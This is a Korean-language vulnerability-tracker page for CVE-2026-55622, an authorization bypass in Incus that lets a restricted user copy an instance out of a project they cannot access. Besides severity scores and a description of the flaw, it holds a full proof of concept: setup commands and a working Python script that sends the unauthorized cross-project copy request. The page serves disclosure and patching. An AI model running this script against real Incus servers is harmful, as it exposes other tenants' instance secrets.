Kestrel
대시보드로 돌아가기
CVE-2026-55622HIGH· 7.7MITRENVDGHSA대응게시일: 2026. 08. 21.수정일: 2026. 08. 28.

Incus has a project restriction bypass in instance copy across projects

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.7high

이론적 심각도 점수

EPSS
0.2%상위 90.0%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

PoC

Setup

Assumes the target server is remotely accessible and a user/certificate has been added.

bash
1# create a new project and instance
2incus project create secrets
3incus profile show default | incus --project secrets edit default
4incus --project secrets init images:debian/trixie secret
5
6# restrict an existing certificate to prevent access to the project
7incus config trust edit cert-fp
8#> set, for example
9restricted: true
10projects:
11 - default
12
13# verification, with the restricted certificate
14incus ls remote:
Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

text
1python3 poc.py --url https://IP-REMOTE:8443 \
2 --cert path/to/client.crt --key path/to/client.key \
3 --target-project default --source-project secrets \
4 --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

python
1#!/usr/bin/env python3
2"""Copy an instance from a project the caller should not be able to read."""
3
4from __future__ import annotations
5
6import argparse
7import json
8import ssl
9import sys
10import urllib.error
11import urllib.parse
12import urllib.request
13
14
15def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
16 ctx = ssl.create_default_context()
17 if insecure:
18 ctx.check_hostname = False
19 ctx.verify_mode = ssl.CERT_NONE
20 ctx.load_cert_chain(cert, key)
21
22 req = urllib.request.Request(
23 url.rstrip("/") + path,
24 data=json.dumps(body).encode(),
25 method="POST",
26 headers={"Content-Type": "application/json", "Accept": "application/json"},
27 )
28 try:
29 with urllib.request.urlopen(req, context=ctx) as resp:
30 return resp.read()
31 except urllib.error.HTTPError as exc:
32 sys.stderr.write(exc.read().decode(errors="replace") + "\n")
33 raise
34
35
36def main() -> int:
37 ap = argparse.ArgumentParser()
38 ap.add_argument("--url", required=True)
39 ap.add_argument("--cert", required=True)
40 ap.add_argument("--key", required=True)
41 ap.add_argument("--target-project", required=True)
42 ap.add_argument("--source-project", required=True)
43 ap.add_argument("--source-instance", required=True)
44 ap.add_argument("--name", required=True, help="new instance name in target project")
45 ap.add_argument("--instance-only", action="store_true")
46 ap.add_argument("--start", action="store_true")
47 ap.add_argument("--insecure", action="store_true")
48 ap.add_argument("--dry-run", action="store_true")
49 args = ap.parse_args()
50
51 body = {
52 "name": args.name,
53 "source": {
54 "type": "copy",
55 "source": args.source_instance,
56 "project": args.source_project,
57 "instance_only": args.instance_only,
58 },
59 "start": args.start,
60 }
61 path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
62 print(json.dumps(body, indent=2))
63 if args.dry_run:
64 return 0
65 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
66 return 0
67
68
69if __name__ == "__main__":
70 raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.